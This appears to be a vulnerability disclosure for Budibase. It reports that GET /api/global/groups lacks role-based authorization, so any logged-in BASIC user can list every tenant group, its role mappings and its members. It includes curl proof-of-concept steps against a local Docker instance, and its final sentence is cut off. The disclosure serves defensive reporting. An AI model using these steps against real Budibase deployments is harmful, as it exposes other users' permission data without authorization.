Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings

Summary

The GET /api/global/groups endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.

Steps to Reproduce

1. Start Budibase

docker run -d --name budibase-poc -p 10000:80 \
  -e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \
  -e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \
  -e API_ENCRYPTION_KEY=api_enc_key_test123456 \
  -e [email protected] \
  -e BB_ADMIN_USER_PASSWORD=TestPassword123! \
  budibase/budibase:latest

until curl -sf http://localhost:10000/health; do sleep 5; done

2. Login as admin, create a user group, create a BASIC user

# Login as admin
curl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{"username":"[email protected]","password":"TestPassword123!"}'

# Create a user group (requires license with user groups feature, or use Budibase Cloud)
# On self-hosted without license, groups may not be available
# If available:
curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \
  -H "Content-Type: application/json" \
  -d '{"name":"Secret Admin Group","color":"#ff0000","icon":"AdminPanelSettingsIcon","roles":{"app_abc123":"ADMIN"}}'

# Create a BASIC user (no builder, no admin)
curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/users \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"BasicPass123!","roles":{},"admin":{"global":false},"builder":{"global":false}}'

3. Login as BASIC user and enumerate all groups (the vulnerability)

# Login as BASIC user
curl -s -c /tmp/bb_basic.txt -X POST http://localhost:10000/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{"username":"[email protected]","password":"BasicPass123!"}'

# List ALL groups (should return 403, but returns 200 with full data)
curl -s -b /tmp/bb_basic.txt http://localhost:10000/api/global/groups

Expected: 403 Forbidden (consistent with GET /api/global/groups/:id which requires )